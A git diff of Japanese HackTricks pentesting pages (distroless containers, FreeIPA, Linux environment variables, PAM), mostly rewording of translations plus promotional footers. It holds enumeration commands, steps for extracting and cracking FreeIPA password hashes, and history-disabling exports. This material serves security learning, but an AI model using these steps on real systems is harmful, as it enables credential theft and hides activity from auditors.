+したがって、通常どおりに**リバースシェルを取得**したり、システムを**列挙**することはできません。 {% endhint %} ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされているため、**Pythonリバースシェル**を取得できます。Nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。 {% hint style="success" %} -スクリプト言語を使用すると、言語の機能を使用してシステムを**列挙**できます。 +スクリプト言語を使用すると、言語の機能を使用してシステムを**列挙**することができます。 {% endhint %} **`read-only/no-exec`**の保護がない場合、リバースシェルを悪用してファイルシステムに**バイナリを書き込み**、それらを**実行**することができます。 {% hint style="success" %} -ただし、この種のコンテナでは通常、これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。 +ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。 {% endhint %} -**RCE脆弱性を悪用してスクリプト言語のリバースシェルを取得**し、[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)でメモリからバイナリを実行する方法の**例**を見つけることができます。 +**いくつかのRCE脆弱性を悪用して**、スクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は、[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)にあります。 + +
+ +**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 + +{% embed url="https://www.stmcyber.com/careers" %} + +
+ +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! + +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝**したり、**HackTricksをPDFでダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。 + +
diff --git a/linux-hardening/freeipa-pentesting.md b/linux-hardening/freeipa-pentesting.md index fb6d4475d..e876b473e 100644 --- a/linux-hardening/freeipa-pentesting.md +++ b/linux-hardening/freeipa-pentesting.md @@ -6,30 +6,30 @@ HackTricks をサポートする他の方法: -- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -- **Discord グループ**に参加する 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする。 -- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出する。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。 ## 基本情報 -FreeIPA は、主に Unix 環境向けの Microsoft Windows Active Directory のオープンソース **代替** です。これは、Active Directory に似た管理のための MIT **Kerberos** Key Distribution Center と完全な **LDAP ディレクトリ** を組み合わせています。CA&RA 証明書管理のために Dogtag **Certificate System** を利用し、スマートカードを含む **マルチファクタ** 認証をサポートしています。Unix 認証プロセスには SSSD が統合されています。 +FreeIPA は、主に Unix 環境向けの Microsoft Windows Active Directory のオープンソース **代替** です。これは、Active Directory に似た管理のための MIT Kerberos Key Distribution Center と完全な LDAP ディレクトリを組み合わせています。CA&RA 証明書管理のために Dogtag Certificate System を利用し、スマートカードを含む **マルチファクタ** 認証をサポートしています。Unix 認証プロセスには SSSD が統合されています。 ## フィンガープリント ### ファイルと環境変数 -- `/etc/krb5.conf` にあるファイルには、ドメインへの登録に必要な Kerberos クライアント情報が格納されています。これには KDC や管理サーバーの場所、デフォルト設定、マッピングが含まれます。 -- IPA クライアントとサーバーのシステム全体のデフォルト設定は、`/etc/ipa/default.conf` にあるファイルに設定されています。 -- ドメイン内のホストは、認証プロセスに `/etc/krb5.keytab` にある `krb5.keytab` ファイルを持っている必要があります。 -- 様々な環境変数(`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`)が、Kerberos 認証に関連する特定のファイルや設定を指すために使用されます。 +* `/etc/krb5.conf` にあるファイルには、ドメインへの登録に必要な Kerberos クライアント情報が格納されています。これには KDC や管理サーバーの場所、デフォルト設定、マッピングが含まれます。 +* IPA クライアントとサーバーのシステム全体のデフォルト設定は、`/etc/ipa/default.conf` に配置されています。 +* ドメイン内のホストは、認証プロセスに `/etc/krb5.keytab` にある `krb5.keytab` ファイルを持っている必要があります。 +* 様々な環境変数(`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`)は、Kerberos 認証に関連する特定のファイルや設定を指すために使用されます。 ### バイナリ -`ipa`、`kdestroy`、`kinit`、`klist`、`kpasswd`、`ksu`、`kswitch`、`kvno` などのツールは、FreeIPA ドメインの管理、Kerberos チケットの処理、パスワードの変更、サービスチケットの取得など、さまざまな機能を提供するために中心的な役割を果たします。 +`ipa`、`kdestroy`、`kinit`、`klist`、`kpasswd`、`ksu`、`kswitch`、`kvno` などのツールは、FreeIPA ドメインの管理、Kerberos チケットの処理、パスワードの変更、サービスチケットの取得などに中心的な役割を果たします。 ### ネットワーク @@ -41,11 +41,11 @@ FreeIPA における **Kerberos** を利用した認証は、**Active Directory* ### **CCACHE チケットファイル** -通常は **`/tmp`** に **600** の権限で保存される CCACHE ファイルは、Kerberos 資格情報を保存するためのバイナリ形式であり、ポータビリティがあるため、ユーザーの平文パスワードなしでの認証に重要です。CCACHE チケットの解析は `klist` コマンドを使用して行い、有効な CCACHE チケットを再利用するには、`KRB5CCNAME` をチケットファイルのパスにエクスポートする必要があります。 +通常は **`/tmp`** に **600** の権限で保存される CCACHE ファイルは、Kerberos 資格情報を保存するためのバイナリ形式であり、ユーザーの平文パスワードなしでの認証に重要です。CCACHE チケットの解析は `klist` コマンドを使用して行い、有効な CCACHE チケットを再利用するには、`KRB5CCNAME` をチケットファイルのパスにエクスポートする必要があります。 ### **Unix キーリング** -代わりに、CCACHE チケットを Linux キーリングに保存することもでき、チケットの管理についてより多くの制御を提供します。チケットの保存範囲は異なります(`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`)、`klist` はこの情報をユーザーに対して解析することができます。ただし、Unix キーリングから CCACHE チケットを再利用することは課題があり、**Tickey** のようなツールが Kerberos チケットを抽出するために利用できます。 +代わりに、CCACHE チケットを Linux キーリングに保存することで、チケットの管理についてより多くの制御が可能になります。チケットの保存範囲は異なります(`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`)、`klist` はこれをユーザーのために解析することができます。ただし、Unix キーリングから CCACHE チケットを再利用することは課題があり、**Tickey** のようなツールが Kerberos チケットを抽出するために利用できます。 ### Keytab @@ -53,7 +53,7 @@ Kerberos プリンシパルと暗号化キーを含む Keytab ファイルは、 ### チートシート -Linux でチケットを使用する方法に関する詳細情報は、次のリンクで見つけることができます: +Linux でチケットを使用する方法に関する詳細情報は、以下のリンクで見つけることができます: {% content-ref url="privilege-escalation/linux-active-directory.md" %} [linux-active-directory.md](privilege-escalation/linux-active-directory.md) @@ -65,7 +65,7 @@ Linux でチケットを使用する方法に関する詳細情報は、次の **ldap** や他の **バイナリ** ツールを使用した **列挙**、または FreeIPA サーバーのポート 443 に **接続する**ことによって **列挙** を実行できます。 {% endhint %} -### ホスト、ユーザー、およびグループ +### ホスト、ユーザー、およびグループ **ホスト**、**ユーザー**、および **グループ** を作成することが可能です。ホストとユーザーはそれぞれ「**ホストグループ**」と「**ユーザーグループ**」と呼ばれるコンテナに分類されます。これらは **組織単位**(OU)に類似しています。 @@ -73,7 +73,7 @@ FreeIPA では、LDAP サーバーは **匿名バインド** を許可してお ``` ldapsearch -x ``` -**さらなる情報**を得るには、**認証済み**セッションを使用する必要があります(認証済みセッションの準備方法については、認証セクションを確認してください)。 +**さらに情報を得る**には、**認証済み**セッションを使用する必要があります(認証済みセッションの準備方法については、認証セクションを確認してください)。 ```bash # Get all users of domain ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" @@ -105,28 +105,28 @@ ipa hostgroup-show --all **FreeIPA**の**管理者**ユーザーは**AD**の**ドメイン管理者**に相当します。 {% endhint %} -### ハッシュ +### ハッシュ **IPAサーバー**の**root**ユーザーはパスワード**ハッシュ**にアクセスできます。 - ユーザーのパスワードハッシュは、「**userPassword**」**属性**に**base64**で保存されます。このハッシュは**SSHA512**(古いFreeIPAのバージョン)または**PBKDF2\_SHA256**である可能性があります。 -- パスワードの**Nthash**は、「**ipaNTHash**」に**base64**で保存されます(システムが**AD**と**統合**されている場合)。 +- システムが**AD**と**統合**されている場合、パスワードの**Nthash**は「**ipaNTHash**」に**base64**で保存されます。 -これらのハッシュをクラックするには: +これらのハッシュを解読するには: -- FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード** -> **ASCII**ヘックスに再エンコード -> John The Ripperまたは**hashcat**を使用して高速にクラックできます。 +- FreeIPAがADと統合されている場合、**ipaNTHash**は簡単に解読できます:**base64**をデコードして**ASCII**ヘックスに再エンコード -> John The Ripperまたは**hashcat**を使用して高速に解読できます。 -- 古いバージョンのFreeIPAを使用している場合、**SSHA512**が使用されます:**base64**をデコード -> SSHA512 **ハッシュ**を見つける -> John The Ripperまたは**hashcat**を使用してクラックできます。 +- 古いバージョンのFreeIPAを使用している場合、**SSHA512**が使用されます:**base64**をデコード -> SSHA512 **ハッシュ**を見つける -> John The Ripperまたは**hashcat**を使用して解読できます。 -- 新しいバージョンのFreeIPAを使用している場合、**PBKDF2\_SHA256**が使用されます:**base64**をデコード -> PBKDF2\_SHA256を見つける -> **長さ**は256バイトです。Johnは256ビット(32バイト)で動作します -> SHA-265が疑似ランダム関数として使用され、ブロックサイズは32バイトです -> PBKDF2\_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatを使用してクラックできます。 +- 新しいバージョンのFreeIPAを使用している場合、**PBKDF2\_SHA256**が使用されます:**base64**をデコード -> PBKDF2\_SHA256を見つける -> **長さ**は256バイトです。Johnは256ビット(32バイト)で動作します -> SHA-265が疑似ランダム関数として使用され、ブロックサイズは32バイトです -> PBKDF2\_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatを使用して解読できます。 -
+
ハッシュを抽出するには、**FreeIPAサーバー**で**root**である必要があり、そこで**`dbscan`**ツールを使用してそれらを抽出できます: -
+
-### HBACルール +### HBAC-Rules これは、特定の権限をユーザーやホストに付与するルールです(ホスト、サービス、サービスグループなどのリソースに対して)。 ```bash @@ -139,7 +139,7 @@ ipa hbacrule-show --all ``` #### Sudo-Rules -FreeIPAは、sudoルールを介して**sudo権限**を中央集権的に制御することを可能にします。これらのルールにより、ドメイン内のホストでsudoを使用してコマンドを実行することを許可または制限することができます。攻撃者は、これらのルールセットを調査することで、適用されるホスト、ユーザー、および許可されたコマンドを特定する可能性があります。 +FreeIPAは、sudoルールを介して**sudo権限**に対する集中制御を可能にします。これらのルールにより、ドメイン内のホストでsudoを使用してコマンドを実行することを許可または制限することができます。攻撃者は、これらのルールセットを調査することで、適用されるホスト、ユーザー、および許可されたコマンドを特定する可能性があります。 ```bash # Enumerate using ldap ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local" @@ -148,17 +148,17 @@ ipa sudorule-find # Show info of rule ipa sudorule-show --all ``` -### ロールベースのアクセス制御 +### ロールベースアクセス制御 -**ロール**はさまざまな**特権**で構成され、それぞれが**権限**のコレクションを含んでいます。これらのロールは、ユーザー、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに割り当てることができます。たとえば、この構造を示すために、FreeIPAのデフォルトの「ユーザー管理者」ロールを考えてみましょう。 +**ロール**はさまざまな**特権**で構成され、それぞれが一連の**権限**を含んでいます。これらのロールは、ユーザー、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに割り当てることができます。たとえば、この構造を示すために、FreeIPAのデフォルトの「ユーザー管理者」ロールを考えてみましょう。 -`User Administrator`ロールには、次の特権があります: +`ユーザー管理者`ロールには、次の特権があります: - **ユーザー管理者** - **グループ管理者** - **ステージユーザー管理者** -次のコマンドを使用して、ロール、特権、および権限を列挙することができます: +次のコマンドを使用すると、ロール、特権、および権限を列挙できます: ```bash # Using ldap ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local" @@ -184,7 +184,7 @@ ipa permission-show --all ### ~~rootユーザーの作成~~ {% hint style="warning" %} -新しいユーザーを`root`という名前で作成できる場合、そのユーザーに成りすまして、**任意のマシンにrootとしてSSHできます。** +新しいユーザーを **`root`** という名前で作成できる場合、そのユーザーに成りすまして **任意のマシンにrootとしてSSHできます。** **これはパッチ済みです。** {% endhint %} @@ -192,6 +192,7 @@ ipa permission-show --all 詳細な説明は[https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)で確認できます。 ## 参考文献 + * [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) * [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a) * [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1) @@ -199,14 +200,14 @@ ipa permission-show --all
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちら +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする -* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。** +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index 29d96c55f..529d852dd 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -8,15 +8,15 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する -- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。 +- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,9 +24,9 @@ HackTricksをサポートする他の方法: ## グローバル変数 -グローバル変数は**子プロセス**によって継承されます。 +グローバル変数は**子プロセス**によって**継承されます**。 -現在のセッション用にグローバル変数を作成することができます: +現在のセッション用にグローバル変数を作成するには、次のようにします: ```bash export MYGLOBAL="hello world" echo $MYGLOBAL #Prints: hello world @@ -57,7 +57,7 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) -* **DISPLAY** – **X** が使用するディスプレイ。通常、この変数は **:0.0** に設定されます。これは現在のコンピューター上の最初のディスプレイを意味します。 +* **DISPLAY** – **X** で使用されるディスプレイ。通常、この変数は **:0.0** に設定されます。これは現在のコンピューター上の最初のディスプレイを意味します。 * **EDITOR** – ユーザーの選好するテキストエディター。 * **HISTFILESIZE** – 履歴ファイルに含まれる最大行数。 * **HISTSIZE** – ユーザーがセッションを終了するときに履歴ファイルに追加される行数。 @@ -70,8 +70,8 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// * **PS1** – bash のデフォルトプロンプト。 * **PATH** – 実行したいバイナリファイルを保持するすべてのディレクトリのパス。ファイル名を指定するだけで相対パスや絶対パスを使用せずに実行できます。 * **PWD** – 現在の作業ディレクトリ。 -* **SHELL** – 現在のコマンドシェルへのパス(例: **/bin/bash**)。 -* **TERM** – 現在の端末タイプ(例: **xterm**)。 +* **SHELL** – 現在のコマンドシェルへのパス (例: **/bin/bash**)。 +* **TERM** – 現在の端末タイプ (例: **xterm**)。 * **TZ** – 自分のタイムゾーン。 * **USER** – 現在のユーザー名。 @@ -79,24 +79,24 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// ### **HISTFILESIZE** -この変数の **値を 0 に変更**してください。これにより、セッションを **終了** するときに **履歴ファイル** (\~/.bash\_history) **が削除**されます。 +この変数の **値を 0 に変更** してください。これにより、セッションを **終了** するときに **履歴ファイル** (\~/.bash\_history) が **削除** されます。 ```bash export HISTFILESIZE=0 ``` ### **HISTSIZE** -この変数の値を0に変更してください。これにより、セッションを終了するときには、どのコマンドも履歴ファイル(\~/.bash\_history)に追加されません。 +この変数の値を0に変更して、セッションを終了するときにはどんなコマンドも履歴ファイル (\~/.bash\_history) に追加されません。 ```bash export HISTSIZE=0 ``` ### http\_proxy & https\_proxy -プロセスは、ここで宣言された **プロキシ** を使用して、**httpまたはhttps** を介してインターネットに接続します。 +プロセスは、ここで宣言された **proxy** を使用して、**httpまたはhttps** を介してインターネットに接続します。 ```bash export http_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080" ``` -### SSL_CERT_FILE & SSL_CERT_DIR +### SSL\_CERT\_FILE & SSL\_CERT\_DIR プロセスは、**これらの環境変数**で指定された証明書を信頼します。 ```bash @@ -111,36 +111,36 @@ export SSL_CERT_DIR=/path/to/ca-certificates Root: -![](<../.gitbook/assets/image (87).png>) +![](<../.gitbook/assets/image (897).png>) 通常のユーザー: -![](<../.gitbook/assets/image (88).png>) +![](<../.gitbook/assets/image (740).png>) バックグラウンドで実行中のジョブが1つ、2つ、3つ: -![](<../.gitbook/assets/image (89).png>) +![](<../.gitbook/assets/image (145).png>) バックグラウンドで実行中のジョブが1つ、停止中のジョブが1つ、最後のコマンドが正常に終了しなかった場合: -![](<../.gitbook/assets/image (90).png>) +![](<../.gitbook/assets/image (715).png>) **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-htARTE (HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう! +htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 -* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする** +* **HackTricks** と **HackTricks Cloud** の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有する
diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index c49419751..acf939c95 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -1,3 +1,5 @@ +# PAM - Pluggable Authentication Modules +
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) @@ -5,38 +7,38 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する -- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください** +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。 +- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
-### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 +WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** -## 基本情報 +### 基本情報 -**PAM(Pluggable Authentication Modules)**は、コンピューターサービスにアクセスしようとするユーザーの身元を**検証**し、さまざまな基準に基づいてアクセスを制御するセキュリティメカニズムとして機能します。これはデジタルの門番のようなものであり、特定のサービスにのみ認証されたユーザーが関わることを確認し、システムの過負荷を防ぐために彼らの使用を制限する可能性があります。 +**PAM(Pluggable Authentication Modules)**は、コンピューターサービスにアクセスしようとするユーザーの身元を**検証**し、さまざまな基準に基づいてアクセスを制御するセキュリティメカニズムとして機能します。これはデジタルの門番のようなものであり、特定のサービスにのみ認証されたユーザーが関わることを確認し、システムの過負荷を防ぐために使用を制限する可能性があります。 -### 設定ファイル +#### 設定ファイル - **SolarisおよびUNIXベースのシステム**は通常、`/etc/pam.conf`にある中央の設定ファイルを使用します。 - **Linuxシステム**はディレクトリアプローチを好み、サービス固有の設定を`/etc/pam.d`内に保存します。たとえば、ログインサービスの設定ファイルは`/etc/pam.d/login`にあります。 ログインサービスのPAM構成の例は次のようになります: -```text +``` auth required /lib/security/pam_securetty.so auth required /lib/security/pam_nologin.so auth sufficient /lib/security/pam_ldap.so @@ -48,37 +50,37 @@ password required /lib/security/pam_ldap.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` -### **PAM管理領域** +#### **PAM管理領域** これらの領域、または管理グループには、**auth**、**account**、**password**、**session**が含まれ、それぞれ認証およびセッション管理プロセスの異なる側面に責任を持ちます: -- **Auth**: ユーザーのアイデンティティを検証し、しばしばパスワードの入力を求めます。 -- **Account**: アカウントの検証を処理し、グループメンバーシップや特定の時間帯の制限などの条件をチェックします。 +- **Auth**: ユーザーのアイデンティティを検証し、しばしばパスワードを求めることによって行います。 +- **Account**: グループメンバーシップや時間制限などの条件をチェックしてアカウントを処理します。 - **Password**: 複雑さのチェックや辞書攻撃の防止など、パスワードの更新を管理します。 -- **Session**: サービスセッションの開始や終了時にディレクトリのマウントやリソース制限の設定など、アクションを管理します。 +- **Session**: サービスセッションの開始や終了中にアクションを管理し、ディレクトリのマウントやリソース制限の設定などを行います。 -### **PAMモジュールの制御** +#### **PAMモジュールの制御** 制御は、モジュールの成功または失敗に対する応答を決定し、全体的な認証プロセスに影響を与えます。これには次のものが含まれます: - **Required**: 必須モジュールの失敗は最終的に失敗につながりますが、すべての後続モジュールがチェックされた後にのみ失敗します。 - **Requisite**: 失敗時にプロセスが直ちに終了します。 - **Sufficient**: 成功すると、後続のモジュールが失敗しない限り、同じ領域のチェックをバイパスします。 -- **Optional**: スタック内で唯一のモジュールである場合にのみ失敗の原因となります。 +- **Optional**: スタック内で唯一のモジュールの場合にのみ失敗の原因となります。 -### シナリオ例 +#### シナリオ例 